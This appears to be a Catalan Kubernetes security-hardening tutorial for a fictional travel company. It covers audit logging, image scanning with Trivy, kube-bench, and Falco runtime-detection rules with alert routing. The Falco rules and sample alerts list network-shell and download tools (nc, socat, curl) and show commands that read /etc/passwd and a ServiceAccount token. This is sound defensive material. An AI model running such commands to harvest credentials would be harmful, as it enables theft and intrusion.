{
  "kind": "Event",
  "apiVersion": "audit.k8s.io/v1",
  "level": "Metadata",
  "auditID": "8f3c1e94-2b7a-4d5e-9c81-6a4f2e8d1b03",
  "stage": "ResponseComplete",
  "requestURI": "/api/v1/namespaces/rutas-norte-pro/secrets/postgres-reserves-credencials",
  "verb": "get",
  "user": {
    "username": "[email protected]",
    "groups": ["plataforma", "system:authenticated"]
  },
  "sourceIPs": ["10.4.12.87"],
  "userAgent": "kubectl/v1.30.3 (linux/amd64) kubernetes/6fc0a69",
  "objectRef": {
    "resource": "secrets",
    "namespace": "rutas-norte-pro",
    "name": "postgres-reserves-credencials",
    "apiVersion": "v1"
  },
  "responseStatus": { "metadata": {}, "code": 200 },
  "requestReceivedTimestamp": "2026-08-06T03:14:22.481930Z",
  "stageTimestamp": "2026-08-06T03:14:22.489114Z",
  "annotations": {
    "authorization.k8s.io/decision": "allow",
    "authorization.k8s.io/reason": "RoleBinding \"plataforma-admin\" of ClusterRole \"admin\" to Group \"plataforma\""
  }
}

# /etc/kubernetes/manifests/kube-apiserver.yaml (fragment)
spec:
  containers:
    - name: kube-apiserver
      command:
        - kube-apiserver
        # Fitxer amb la política: què es registra i amb quin detall
        - --audit-policy-file=/etc/kubernetes/auditoria/politica.yaml
        # Destí de fitxer
        - --audit-log-path=/var/log/kubernetes/auditoria.log
        - --audit-log-maxage=90        # dies que es conserven
        - --audit-log-maxbackup=30     # nombre de fitxers rotats
        - --audit-log-maxsize=200      # MB per fitxer abans de rotar
        - --audit-log-format=json
      volumeMounts:
        - name: politica-auditoria
          mountPath: /etc/kubernetes/auditoria
          readOnly: true
        - name: logs-auditoria
          mountPath: /var/log/kubernetes
  volumes:
    - name: politica-auditoria
      hostPath:
        path: /etc/kubernetes/auditoria
        type: DirectoryOrCreate
    - name: logs-auditoria
      hostPath:
        path: /var/log/kubernetes
        type: DirectoryOrCreate

# /etc/kubernetes/auditoria/webhook.yaml
apiVersion: v1
kind: Config
clusters:
  - name: recollector-auditoria
    cluster:
      server: https://auditoria.rutasnorte.example/esdeveniments
      certificate-authority: /etc/kubernetes/pki/ca-auditoria.crt
contexts:
  - name: auditoria
    context:
      cluster: recollector-auditoria
      user: apiserver-rutasnorte
current-context: auditoria
users:
  - name: apiserver-rutasnorte
    user:
      client-certificate: /etc/kubernetes/pki/apiserver-auditoria.crt
      client-key: /etc/kubernetes/pki/apiserver-auditoria.key

        - --audit-webhook-config-file=/etc/kubernetes/auditoria/webhook.yaml
        - --audit-webhook-mode=batch          # agrupa esdeveniments: menys latència
        - --audit-webhook-batch-max-size=400
        - --audit-webhook-batch-max-wait=30s

apiVersion: audit.k8s.io/v1
kind: Policy
rules:
  - level: None       # <- aquesta s'avalua primer
    resources:
      - group: ""
        resources: ["events"]
  - level: Metadata   # <- només s'hi arriba si l'anterior no ha coincidit

# /etc/kubernetes/auditoria/politica.yaml
apiVersion: audit.k8s.io/v1
kind: Policy

# RequestReceived duplica cada esdeveniment sense aportar res en el cas general
omitStages:
  - RequestReceived

rules:
  # ============================================================
  # BLOC 1: soroll que NO es registra (va primer, per ordre)
  # ============================================================

  # Comprovacions de salut i descobriment de l'API: milers per minut
  - level: None
    nonResourceURLs:
      - /healthz*
      - /livez*
      - /readyz*
      - /version
      - /openapi*
      - /apis
      - /apis/*
      - /api
      - /api/*
      - /metrics

  # Els nodes informant del seu estat constantment
  - level: None
    users: ["system:kubelet"]
    userGroups: ["system:nodes"]
    verbs: ["get", "list", "watch"]
    resources:
      - group: ""
        resources: ["nodes", "nodes/status", "pods", "endpoints"]

  # Els controladors del pla de control observant canvis
  - level: None
    userGroups: ["system:serviceaccounts:kube-system"]
    verbs: ["get", "list", "watch"]

  # Els esdeveniments de Kubernetes: són moltíssims i ja es recullen a part (07-06)
  - level: None
    resources:
      - group: ""
        resources: ["events"]

  # Renovació d'arrendaments d'elecció de líder: constant i sense interès
  - level: None
    resources:
      - group: "coordination.k8s.io"
        resources: ["leases"]

  # ============================================================
  # BLOC 2: el crític, amb el màxim detall que és segur
  # ============================================================

  # --- SECRETS: qui els toca, SEMPRE, a tots els namespaces ---
  # Nivell Metadata a propòsit: registrar el contingut escriuria
  # les credencials de la base de dades de clients al log.
  - level: Metadata
    resources:
      - group: ""
        resources: ["secrets"]
    omitStages:
      - RequestReceived

  # --- Emissió de tokens de ServiceAccount: via de suplantació (08-01) ---
  - level: Metadata
    resources:
      - group: ""
        resources: ["serviceaccounts/token"]

  # --- RBAC: qualsevol canvi en qui pot fer què ---
  # Aquí sí Request: volem poder reconstruir exactament quin permís
  # es va concedir. Un Role no conté dades personals.
  - level: Request
    resources:
      - group: "rbac.authorization.k8s.io"
        resources: ["roles", "rolebindings", "clusterroles", "clusterrolebindings"]

  # --- Polítiques d'admissió i de xarxa: desactivar-les és un atac ---
  - level: Request
    resources:
      - group: "admissionregistration.k8s.io"
      - group: "kyverno.io"
      - group: "networking.k8s.io"
        resources: ["networkpolicies"]
      - group: "policy"

  # --- Configuració dels namespaces: inclou les etiquetes del PSA (08-03) ---
  - level: Request
    verbs: ["create", "update", "patch", "delete"]
    resources:
      - group: ""
        resources: ["namespaces"]

  # ============================================================
  # BLOC 3: producció, amb més detall que la resta
  # ============================================================

  # Tota ESCRIPTURA a rutas-norte-pro, amb el cos de la petició
  - level: Request
    verbs: ["create", "update", "patch", "delete", "deletecollection"]
    namespaces: ["rutas-norte-pro"]

  # Operacions interactives sobre pods: exec, attach, port-forward,
  # contenidors efímers. Són les de més risc (08-01).
  - level: Request
    resources:
      - group: ""
        resources:
          - pods/exec
          - pods/attach
          - pods/portforward
          - pods/ephemeralcontainers

  # Lectura de logs: poden contenir informació de clients
  - level: Metadata
    resources:
      - group: ""
        resources: ["pods/log"]

  # ============================================================
  # BLOC 4: la resta
  # ============================================================

  # Escriptures en qualsevol altre namespace: metadades
  - level: Metadata
    verbs: ["create", "update", "patch", "delete", "deletecollection"]

  # Tota la resta (lectures normals): metadades
  - level: Metadata

# Mida del log en una hora
ls -lh /var/log/kubernetes/auditoria.log

# Distribució per nivell
jq -r '.level' /var/log/kubernetes/auditoria.log | sort | uniq -c | sort -rn

  18432 Metadata
   1204 Request

# Quins recursos generen més esdeveniments: candidats a afegir a la llista de None
jq -r '.objectRef.resource // "sense-recurs"' /var/log/kubernetes/auditoria.log \
  | sort | uniq -c | sort -rn | head -10

   6218 pods
   3891 configmaps
   2104 endpointslices
   1877 deployments
   1442 secrets
    998 replicasets
    712 services
    488 nodes
    301 rolebindings
     94 pods/log

jq -r 'select(
    .objectRef.resource == "secrets" and
    .objectRef.namespace == "rutas-norte-pro" and
    (.verb == "get" or .verb == "list" or .verb == "watch")
  )
  | "\(.stageTimestamp)  \(.user.username)  \(.verb)  \(.objectRef.name // "TOTS")  \(.sourceIPs[0])  \(.responseStatus.code)"' \
  /var/log/kubernetes/auditoria.log | sort

2026-08-05T09:12:04Z  system:serviceaccount:rutas-norte-pro:api-reserves  get  api-reserves-bd  10.244.2.19  200
2026-08-05T14:33:41Z  [email protected]  get  postgres-reserves-credencials  10.4.12.87  200
2026-08-06T03:14:22Z  [email protected]  get  postgres-reserves-credencials  10.4.12.87  200
2026-08-06T03:14:58Z  [email protected]  list  TOTS  10.4.12.203  403

jq -r 'select(
    .verb == "delete" and
    .objectRef.resource == "deployments" and
    .objectRef.namespace == "rutas-norte-pro"
  )
  | "\(.stageTimestamp)  \(.user.username)  va esborrar \(.objectRef.name)  des de \(.sourceIPs[0])  agent=\(.userAgent)"' \
  /var/log/kubernetes/auditoria.log

2026-08-05T16:47:12Z  system:serviceaccount:argocd:argocd-application-controller  va esborrar exportador-heretat  des de 10.244.1.8  agent=argocd-application-controller/v2.12.3

SA="system:serviceaccount:rutas-norte-pro:worker-notificacions"

jq -r --arg sa "$SA" 'select(.user.username == $sa)
  | "\(.stageTimestamp)  \(.verb)  \(.objectRef.resource // "-")/\(.objectRef.name // "-")  \(.responseStatus.code)"' \
  /var/log/kubernetes/auditoria.log | sort | uniq -c | sort -rn | head -20

     42 2026-08-06T...  get  configmaps/worker-config  200
      3 2026-08-06T...  list  secrets/-  403
      1 2026-08-06T...  create  pods/exec  403

jq -r 'select(
    (.objectRef.subresource == "exec" or .objectRef.subresource == "attach" or
     .objectRef.subresource == "ephemeralcontainers") and
    .objectRef.namespace == "rutas-norte-pro"
  )
  | "\(.stageTimestamp)  \(.user.username)  \(.objectRef.subresource)  pod=\(.objectRef.name)  \(.responseStatus.code)"' \
  /var/log/kubernetes/auditoria.log

2026-08-04T11:02:33Z  [email protected]  exec  pod=api-reserves-6d4f8b9c7-k2m4x  101
2026-08-06T02:58:14Z  [email protected]  exec  pod=postgres-reserves-0  403

jq -r 'select(
    .objectRef.apiGroup == "rbac.authorization.k8s.io" and
    (.verb == "create" or .verb == "update" or .verb == "patch" or .verb == "delete")
  )
  | "\(.stageTimestamp)  \(.user.username)  \(.verb)  \(.objectRef.resource)/\(.objectRef.name)"' \
  /var/log/kubernetes/auditoria.log

2026-08-06T01:33:07Z  [email protected]  create  clusterrolebindings/depuracio-temporal

jq -r 'select(.objectRef.name == "depuracio-temporal") | .requestObject' \
  /var/log/kubernetes/auditoria.log

{
  "kind": "ClusterRoleBinding",
  "apiVersion": "rbac.authorization.k8s.io/v1",
  "metadata": { "name": "depuracio-temporal" },
  "roleRef": {
    "apiGroup": "rbac.authorization.k8s.io",
    "kind": "ClusterRole",
    "name": "cluster-admin"
  },
  "subjects": [
    { "kind": "Group", "name": "desenvolupament", "apiGroup": "rbac.authorization.k8s.io" }
  ]
}

#!/usr/bin/env bash
# seguretat/informe-auditoria-diari.sh
# Resum diari d'esdeveniments d'auditoria rellevants.
set -euo pipefail
LOG="${1:-/var/log/kubernetes/auditoria.log}"
DATA=$(date -u +%Y-%m-%d)

echo "=== Informe d'auditoria — $DATA ==="
echo

echo "--- Accessos a Secrets de rutas-norte-pro ---"
jq -r 'select(.objectRef.resource == "secrets" and .objectRef.namespace == "rutas-norte-pro")
  | "\(.user.username)"' "$LOG" | sort | uniq -c | sort -rn

echo
echo "--- Sessions interactives a producció (exec/attach/debug) ---"
jq -r 'select((.objectRef.subresource // "") | test("exec|attach|ephemeralcontainers"))
  | select(.objectRef.namespace == "rutas-norte-pro")
  | "\(.stageTimestamp) \(.user.username) \(.objectRef.name)"' "$LOG"

echo
echo "--- Canvis a RBAC ---"
jq -r 'select(.objectRef.apiGroup == "rbac.authorization.k8s.io")
  | select(.verb | test("create|update|patch|delete"))
  | "\(.stageTimestamp) \(.user.username) \(.verb) \(.objectRef.resource)/\(.objectRef.name)"' "$LOG"

echo
echo "--- Peticions DENEGADES (403): possible sondeig ---"
jq -r 'select(.responseStatus.code == 403)
  | "\(.user.username) -> \(.verb) \(.objectRef.resource // .requestURI)"' "$LOG" \
  | sort | uniq -c | sort -rn | head -15

echo
echo "--- Violacions registrades pel Pod Security Admission (08-03) ---"
jq -r 'select(.annotations["pod-security.kubernetes.io/audit-violations"] != null)
  | "\(.objectRef.namespace)/\(.objectRef.name): \(.annotations["pod-security.kubernetes.io/audit-violations"])"' \
  "$LOG" | sort -u

trivy image registry.rutasnorte.example/rutasnorte/api-reserves:2.7.1

registry.rutasnorte.example/rutasnorte/api-reserves:2.7.1 (debian 12.7)
==========================================================================
Total: 4 (UNKNOWN: 0, LOW: 2, MEDIUM: 1, HIGH: 1, CRITICAL: 0)

┌──────────────┬────────────────┬──────────┬────────┬───────────────────┬───────────────┐
│   Library    │ Vulnerability  │ Severity │ Status │ Installed Version │ Fixed Version │
├──────────────┼────────────────┼──────────┼────────┼───────────────────┼───────────────┤
│ libssl3      │ CVE-2026-11042 │ HIGH     │ fixed  │ 3.0.14-1          │ 3.0.15-1      │
│ libc6        │ CVE-2026-10877 │ MEDIUM   │ fixed  │ 2.36-9            │ 2.36-9+deb12u1│
│ zlib1g       │ CVE-2025-98004 │ LOW      │ affected│ 1:1.2.13.dfsg-1  │               │
└──────────────┴────────────────┴──────────┴────────┴───────────────────┴───────────────┘

Node.js (node-pkg)
==================
Total: 1 (UNKNOWN: 0, LOW: 0, MEDIUM: 0, HIGH: 0, CRITICAL: 1)

┌──────────────┬────────────────┬──────────┬────────┬───────────────────┬───────────────┐
│   Library    │ Vulnerability  │ Severity │ Status │ Installed Version │ Fixed Version │
├──────────────┼────────────────┼──────────┼────────┼───────────────────┼───────────────┤
│ jsonwebtoken │ CVE-2026-12033 │ CRITICAL │ fixed  │ 9.0.2             │ 9.0.3         │
└──────────────┴────────────────┴──────────┴────────┴───────────────────┴───────────────┘

# .gitlab-ci.yml (fragment) — escaneig que trenca la construcció
escanejar-imatge:
  stage: verificar
  script:
    # Actualitzar la base de vulnerabilitats per separat: si falla la
    # descàrrega, volem saber-ho, no que l'escaneig passi per defecte
    - trivy image --download-db-only

    # Informe llegible per al registre de la canalització
    - trivy image --severity LOW,MEDIUM,HIGH,CRITICAL "${IMATGE}:${VERSION}"

    # Porta de qualitat: CRITICAL o HIGH amb correcció disponible = falla
    - |
      trivy image \
        --severity HIGH,CRITICAL \
        --ignore-unfixed \
        --exit-code 1 \
        --ignorefile .trivyignore \
        "${IMATGE}:${VERSION}"

    # Informe en format SARIF per a la interfície de la plataforma de CI
    - trivy image --format sarif --output trivy.sarif "${IMATGE}:${VERSION}"

    # Escaneig de secrets: credencials oblidades a les capes (08-05)
    - trivy image --scanners secret --exit-code 1 "${IMATGE}:${VERSION}"
  artifacts:
    reports:
      sast: trivy.sarif
    expire_in: 90 days

# .trivyignore
# Format: CVE  # motiu — responsable — data de caducitat
#
# AQUEST FITXER ES REVISA EN CADA AUDITORIA TRIMESTRAL.
# Una excepció sense data de caducitat és una fallada de procés.

# El binari afectat (openssl com a eina de línia d'ordres) no és
# present a la imatge distroless; només la llibreria, que no fa servir la ruta
# vulnerable. Confirmat amb l'equip de seguretat.
# Responsable: plataforma — Caduca: 2026-11-01
CVE-2026-10877

# Sense correcció disponible del mantenidor. El component no processa entrada
# externa en el nostre ús. Revisat 2026-08-01.
# Responsable: plataforma — Caduca: 2026-10-01
CVE-2025-98004

#!/usr/bin/env bash
# seguretat/escanejar-registre.sh
# Escaneig setmanal de totes les imatges desplegades a producció.
set -uo pipefail

# Obtenir les imatges que estan REALMENT corrent, per digest
kubectl get pods -A -o json | jq -r '
  .items[].status.containerStatuses[]?.imageID' \
  | grep '^registry.rutasnorte.example' | sort -u > /tmp/imatges-en-us.txt

echo "Imatges en execució: $(wc -l < /tmp/imatges-en-us.txt)"
troballes=0

while read -r imatge; do
  resultat=$(trivy image --severity CRITICAL,HIGH --ignore-unfixed \
                --format json --quiet "$imatge" 2>/dev/null)
  n=$(echo "$resultat" | jq '[.Results[]?.Vulnerabilities[]?] | length')
  if [[ "$n" -gt 0 ]]; then
    echo "=== $imatge: $n vulnerabilitats amb correcció disponible"
    echo "$resultat" | jq -r '.Results[]?.Vulnerabilities[]?
      | "    \(.Severity)  \(.VulnerabilityID)  \(.PkgName) \(.InstalledVersion) -> \(.FixedVersion)"' \
      | sort -u
    troballes=$((troballes + n))
  fi
done < /tmp/imatges-en-us.txt

echo
echo "Total de troballes accionables: $troballes"

Imatges en execució: 8
=== registry.rutasnorte.example/rutasnorte/api-reserves@sha256:9f2c1d...: 2 vulnerabilitats amb correcció disponible
    CRITICAL  CVE-2026-12033  jsonwebtoken 9.0.2 -> 9.0.3
    HIGH      CVE-2026-11042  libssl3 3.0.14-1 -> 3.0.15-1
=== registry.rutasnorte.example/externes/postgres@sha256:2a7f4c...: 1 vulnerabilitats amb correcció disponible
    HIGH      CVE-2026-10991  libxml2 2.9.14 -> 2.9.14+deb12u2

Total de troballes accionables: 3

grype registry.rutasnorte.example/rutasnorte/api-reserves:2.7.1 -o table

helm repo add aqua https://aquasecurity.github.io/helm-charts/
helm install trivy-operator aqua/trivy-operator \
  --namespace trivy-system --create-namespace \
  --set trivy.ignoreUnfixed=true \
  --set operator.scanJobTimeout=10m \
  --set operator.vulnerabilityScannerScanOnlyCurrentRevisions=true \
  --set operator.scanJobsConcurrentLimit=3

kubectl get vulnerabilityreports -n rutas-norte-pro

NAME                                          REPOSITORY                            TAG      SCANNER   AGE   CRITICAL   HIGH   MEDIUM   LOW
replicaset-api-reserves-6d4f8b9c7-api         rutasnorte/api-reserves               2.7.1    Trivy     3h    1          1      1        2
replicaset-botiga-web-6f8d9c4b7-nginx         externes/nginx-unprivileged           1.27.1   Trivy     3h    0          0      2        4
statefulset-postgres-reserves-postgres        externes/postgres                     16.4     Trivy     3h    0          1      3        7
statefulset-redis-cache-redis                 externes/redis                        7.4      Trivy     3h    0          0      0        2
replicaset-worker-notificacions-6d4f8-worker  rutasnorte/worker-notificacions       3.2.0    Trivy     3h    0          0      1        3

# Detall de les vulnerabilitats crítiques d'un informe
kubectl get vulnerabilityreport -n rutas-norte-pro \
  replicaset-api-reserves-6d4f8b9c7-api -o json \
  | jq -r '.report.vulnerabilities[]
      | select(.severity == "CRITICAL")
      | "\(.vulnerabilityID)  \(.resource) \(.installedVersion) -> \(.fixedVersion)\n  \(.title)"'

CVE-2026-12033  jsonwebtoken 9.0.2 -> 9.0.3
  Improper verification of signature allows token forgery

kubectl get configauditreports -n rutas-norte-pro \
  -o custom-columns='CARREGA:.metadata.name,CRIT:.report.summary.criticalCount,ALTA:.report.summary.highCount'

CARREGA                                    CRIT   ALTA
replicaset-api-reserves-6d4f8b9c7          0      0
statefulset-postgres-reserves              0      1
daemonset-fluent-bit-collector             0      2

kubectl get configauditreport -n rutas-norte-pro statefulset-postgres-reserves \
  -o json | jq -r '.report.checks[] | select(.severity == "HIGH")
    | "\(.checkID): \(.title)\n  \(.description)"'

KSV014: Root file system is not read-only
  An immutable root file system prevents applications from writing to their
  local disk.

kubectl get clustercompliancereport cis -o json \
  | jq -r '.status.summary'

{
  "passCount": 87,
  "failCount": 9
}

# k8s/seguretat/kube-bench-job.yaml
apiVersion: batch/v1
kind: Job
metadata:
  name: kube-bench-nodes
  namespace: rutas-norte-sistema      # el namespace privilegiat de 08-03
spec:
  template:
    spec:
      # kube-bench necessita llegir la configuració del node: per això va aquí
      hostPID: true
      restartPolicy: Never
      containers:
        - name: kube-bench
          image: registry.rutasnorte.example/externes/kube-bench:v0.8.0
          command: ["kube-bench", "run", "--targets", "node", "--json"]
          securityContext:
            allowPrivilegeEscalation: false
            readOnlyRootFilesystem: true
            capabilities: { drop: ["ALL"] }
          volumeMounts:
            - { name: var-lib-kubelet, mountPath: /var/lib/kubelet, readOnly: true }
            - { name: etc-kubernetes, mountPath: /etc/kubernetes, readOnly: true }
            - { name: etc-systemd, mountPath: /etc/systemd, readOnly: true }
      volumes:
        - name: var-lib-kubelet
          hostPath: { path: /var/lib/kubelet }
        - name: etc-kubernetes
          hostPath: { path: /etc/kubernetes }
        - name: etc-systemd
          hostPath: { path: /etc/systemd }

kubectl apply -f k8s/seguretat/kube-bench-job.yaml
kubectl logs -n rutas-norte-sistema job/kube-bench-nodes | head -40

[INFO] 4 Worker Node Security Configuration
[INFO] 4.1 Worker Node Configuration Files
[PASS] 4.1.1 Ensure that the kubelet service file permissions are set to 600 or more restrictive
[PASS] 4.1.2 Ensure that the kubelet service file ownership is set to root:root
[PASS] 4.1.5 Ensure that the --kubeconfig kubelet.conf file permissions are set to 600
[INFO] 4.2 Kubelet
[PASS] 4.2.1 Ensure that the --anonymous-auth argument is set to false
[PASS] 4.2.2 Ensure that the --authorization-mode argument is not set to AlwaysAllow
[FAIL] 4.2.6 Ensure that the --protect-kernel-defaults argument is set to true
[PASS] 4.2.9 Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture
[WARN] 4.2.12 Ensure that the RotateKubeletServerCertificate argument is set to true

== Remediations node ==
4.2.6 If using a Kubelet config file, edit the file to set protectKernelDefaults: true.
      If using command line arguments, edit the kubelet service file
      /etc/systemd/system/kubelet.service.d/10-kubeadm.conf and set --protect-kernel-defaults=true

== Summary node ==
21 checks PASS
1 checks FAIL
2 checks WARN

apiVersion: batch/v1
kind: CronJob
metadata:
  name: kube-bench-setmanal
  namespace: rutas-norte-sistema
spec:
  schedule: "0 5 * * 1"      # dilluns a les 05:00
  jobTemplate:
    spec:
      template:
        spec:
          # (mateixa especificació que el Job anterior)
          restartPolicy: Never
          containers:
            - name: kube-bench
              image: registry.rutasnorte.example/externes/kube-bench:v0.8.0
              command:
                - sh
                - -c
                - |
                  kube-bench run --targets node --json > /tmp/resultat.json
                  fallades=$(jq '[.Controls[].tests[].results[]
                                | select(.status == "FAIL")] | length' /tmp/resultat.json)
                  echo "Comprovacions fallides: $fallades"
                  cat /tmp/resultat.json
                  # Si augmenten respecte de la línia base coneguda, sortir amb error
                  [ "$fallades" -le 2 ] || exit 1

helm repo add falcosecurity https://falcosecurity.github.io/charts
helm install falco falcosecurity/falco \
  --namespace rutas-norte-sistema \
  --set driver.kind=modern_ebpf \
  --set falcosidekick.enabled=true \
  --set falcosidekick.config.alertmanager.hostport=http://alertmanager.monitoratge:9093

# k8s/seguretat/falco-regles-rutasnorte.yaml
apiVersion: v1
kind: ConfigMap
metadata:
  name: falco-regles-rutasnorte
  namespace: rutas-norte-sistema
data:
  rutasnorte_regles.yaml: |
    # ============================================================
    # Llistes i macros reutilitzables
    # ============================================================
    - list: namespaces_produccio
      items: [rutas-norte-pro]

    - list: binaris_shell
      items: [bash, sh, zsh, ash, dash, ksh, csh, fish]

    - macro: en_produccio
      condition: k8s.ns.name in (namespaces_produccio)

    - macro: contenidor
      condition: container.id != host

    # ============================================================
    # Regla 1: shell oberta en un contenidor de producció
    # ============================================================
    # Les nostres imatges distroless (08-05) NO tenen shell. Que aparegui
    # un procés de shell a producció significa una de dues coses:
    #   a) algú va fer kubectl exec (hauria de veure's a l'auditoria), o
    #   b) algú executa codi dins del contenidor.
    # Totes dues requereixen investigació immediata.
    - rule: Shell oberta en contenidor de produccio
      desc: >-
        S'ha iniciat un procés d'intèrpret d'ordres dins d'un
        contenidor del namespace de producció. Les imatges de Rutas Norte
        no inclouen shell, per la qual cosa això no hauria de passar mai.
      condition: >
        spawned_process
        and contenidor
        and en_produccio
        and proc.name in (binaris_shell)
      output: >
        Shell oberta a produccio
        (usuari=%user.name proces=%proc.cmdline pare=%proc.pname
         contenidor=%container.name imatge=%container.image.repository
         pod=%k8s.pod.name ns=%k8s.ns.name)
      priority: CRITICAL
      tags: [rutasnorte, produccio, shell, T1059]

    # ============================================================
    # Regla 2: escriptura en directoris del sistema
    # ============================================================
    # Tots els nostres contenidors porten readOnlyRootFilesystem: true
    # (08-02), així que això hauria de fallar SEMPRE. Si l'intent existeix,
    # alguna cosa està intentant modificar binaris o configuració del sistema.
    - rule: Escriptura en directori del sistema
      desc: >-
        Intent d'escriptura en un directori del sistema dins d'un
        contenidor. Amb readOnlyRootFilesystem l'intent fallarà, però
        la seva mera existència indica activitat anòmala.
      condition: >
        open_write
        and contenidor
        and en_produccio
        and fd.name startswith (/bin, /sbin, /usr/bin, /usr/sbin, /usr/lib,
                                /lib, /etc, /boot)
        and not proc.name in (dpkg, apt, apk, rpm)
      output: >
        Escriptura en directori del sistema
        (fitxer=%fd.name proces=%proc.cmdline usuari=%user.name
         pod=%k8s.pod.name ns=%k8s.ns.name imatge=%container.image.repository)
      priority: CRITICAL
      tags: [rutasnorte, produccio, integritat, T1222]

    # ============================================================
    # Regla 3: lectura del token de la ServiceAccount
    # ============================================================
    # A 03-06 vam posar automountServiceAccountToken: false a gairebé tot.
    # Els pocs pods que sí que el munten el llegeixen a través de la seva
    # biblioteca client. Una lectura des d'una shell o una utilitat genèrica és
    # el patró clàssic de reconeixement després d'un compromís.
    - rule: Lectura del token de ServiceAccount per proces inesperat
      desc: >-
        Un procés que no és l'aplicació ha llegit el token de la
        ServiceAccount muntat al pod.
      condition: >
        open_read
        and contenidor
        and fd.name contains /var/run/secrets/kubernetes.io/serviceaccount/token
        and not proc.name in (node, python3, java, nginx, postgres, redis-server)
      output: >
        Token de ServiceAccount llegit per proces inesperat
        (proces=%proc.cmdline usuari=%user.name pare=%proc.pname
         pod=%k8s.pod.name ns=%k8s.ns.name sa=%k8s.pod.serviceaccount)
      priority: CRITICAL
      tags: [rutasnorte, credencials, T1552]

    # ============================================================
    # Regla 4: connexió sortint inesperada
    # ============================================================
    # Complementa la NetworkPolicy de 08-04: la política BLOQUEJA, Falco
    # REGISTRA l'intent amb el procés que el va fer, que és informació
    # que la política no pot donar.
    - rule: Connexio sortint des de component sense permis de sortida
      desc: >-
        Un component que no ha d'arribar a internet ha intentat obrir una
        connexió sortint. La NetworkPolicy ho bloquejarà, però registrem
        quin procés ho va intentar.
      condition: >
        outbound
        and contenidor
        and en_produccio
        and k8s.pod.label.app in (botiga-web, postgres-reserves, redis-cache,
                                  informes-ocupacio)
        and not fd.sip in (cluster_cidr)
        and not fd.sport in (53)
      output: >
        Connexio sortint inesperada
        (desti=%fd.sip:%fd.sport proces=%proc.cmdline
         pod=%k8s.pod.name app=%k8s.pod.label.app ns=%k8s.ns.name)
      priority: WARNING
      tags: [rutasnorte, xarxa, exfiltracio, T1041]

    # ============================================================
    # Regla 5: eines de descàrrega a producció
    # ============================================================
    - rule: Eina de descarrega executada a produccio
      desc: >-
        S'ha executat curl, wget o una altra eina de descàrrega dins d'un
        contenidor de producció. Les nostres imatges no les inclouen.
      condition: >
        spawned_process
        and contenidor
        and en_produccio
        and proc.name in (curl, wget, nc, ncat, socat, ftp, tftp)
      output: >
        Eina de descarrega a produccio
        (proces=%proc.cmdline pare=%proc.pname pod=%k8s.pod.name
         imatge=%container.image.repository)
      priority: CRITICAL
      tags: [rutasnorte, produccio, T1105]

    # ============================================================
    # Regla 6: modificació de la configuració de contenidors
    # ============================================================
    - rule: Acces al socket de l'entorn d'execucio
      desc: >-
        Un procés ha accedit al socket de containerd o Docker. Com
        vam veure a 08-02, això equival a privilegis de node.
      condition: >
        (open_read or open_write)
        and contenidor
        and fd.name in (/var/run/docker.sock, /run/containerd/containerd.sock,
                        /var/run/crio/crio.sock)
      output: >
        Acces al socket de l'entorn d'execucio
        (fitxer=%fd.name proces=%proc.cmdline pod=%k8s.pod.name
         ns=%k8s.ns.name)
      priority: CRITICAL
      tags: [rutasnorte, escapada, T1610]

kubectl logs -n rutas-norte-sistema -l app.kubernetes.io/name=falco --tail=20 | grep Critical

03:47:08.229481022: Critical Shell oberta a produccio (usuari=root
proces=sh -c "cat /etc/passwd" pare=node contenidor=worker
imatge=registry.rutasnorte.example/rutasnorte/worker-notificacions
pod=worker-notificacions-6d4f8b9c7-k9x2 ns=rutas-norte-pro)

03:47:09.884113047: Critical Token de ServiceAccount llegit per proces inesperat
(proces=cat /var/run/secrets/kubernetes.io/serviceaccount/token usuari=root
pare=sh pod=worker-notificacions-6d4f8b9c7-k9x2 ns=rutas-norte-pro
sa=worker-notificacions)

# k8s/seguretat/falcosidekick-valors.yaml
falcosidekick:
  enabled: true
  config:
    # Envia a Alertmanager, que ja sap encaminar (07-04)
    alertmanager:
      hostport: "http://alertmanager.monitoratge.svc.cluster.local:9093"
      minimumpriority: "warning"
      # Etiquetes que permeten encaminar a Alertmanager
      customfields: "plataforma:rutas-norte,origen:falco"
      extralabels: "equip:plataforma"
    # Mètriques per a Prometheus: permet quadres de comandament i alertes agregades
    prometheus:
      extralabels: "plataforma:rutas-norte"
    # Els esdeveniments també van al log centralitzat (07-05)
    elasticsearch:
      hostport: "http://elasticsearch.registre.svc.cluster.local:9200"
      index: "falco-seguretat"
      minimumpriority: "notice"

# k8s/base/monitoratge/alertmanager-config.yaml (fragment)
route:
  receiver: equip-plataforma
  group_by: [alertname, namespace]
  routes:
    # Alertes de seguretat crítiques: canal dedicat i avís immediat
    - matchers:
        - origen = "falco"
        - severity = "critica"
      receiver: seguretat-urgent
      group_wait: 0s              # sense agrupar: s'envia a l'instant
      repeat_interval: 15m
      continue: true              # continua avaluant: també al canal general

    - matchers:
        - origen = "falco"
      receiver: seguretat-general
      group_interval: 5m

receivers:
  - name: seguretat-urgent
    webhook_configs:
      - url: https://avisos.rutasnorte.example/guardia-seguretat
    # A més de la guàrdia, al canal de l'equip
    # (configuració del canal segons l'eina de l'organització)

  - name: seguretat-general
    webhook_configs:
      - url: https://avisos.rutasnorte.example/canal-seguretat

apiVersion: monitoring.coreos.com/v1
kind: PrometheusRule
metadata:
  name: alertes-falco
  namespace: monitoratge
spec:
  groups:
    - name: seguretat-temps-execucio
      rules:
        - alert: RafegaDAlertesDeSeguretat
          expr: |
            sum by (k8s_ns_name, k8s_pod_name) (
              rate(falco_events{priority=~"Critical|Error"}[5m])
            ) > 0.1
          for: 2m
          labels:
            severity: critica
            equip: plataforma
            origen: falco-agregat
          annotations:
            summary: >-
              Ràfega d'esdeveniments de seguretat a {{ $labels.k8s_pod_name }}
            description: >-
              El pod {{ $labels.k8s_ns_name }}/{{ $labels.k8s_pod_name }} està
              generant esdeveniments crítics de Falco de forma sostinguda. Un esdeveniment
              aïllat pot ser una operació legítima; una ràfega indica
              activitat anòmala en curs.
              Procediment de contenció: aïllar el pod canviant la seva etiqueta
              app i aplicar la NetworkPolicy de quarantena.
            runbook_url: https://wiki.rutasnorte.example/runbooks/incident-falco

        - alert: FalcoNoEstaFuncionant
          expr: |
            count(kube_daemonset_status_number_ready{daemonset="falco"}) == 0
            or
            kube_daemonset_status_number_ready{daemonset="falco"}
              < kube_daemonset_status_desired_number_scheduled{daemonset="falco"}
          for: 10m
          labels:
            severity: critica
            equip: plataforma
          annotations:
            summary: "Falco no està corrent a tots els nodes"
            description: >-
              Sense Falco en un node, l'activitat dels seus contenidors no
              s'observa. Un atacant podria desactivar-lo deliberadament.

    # Exemple d'excepció ben acotada
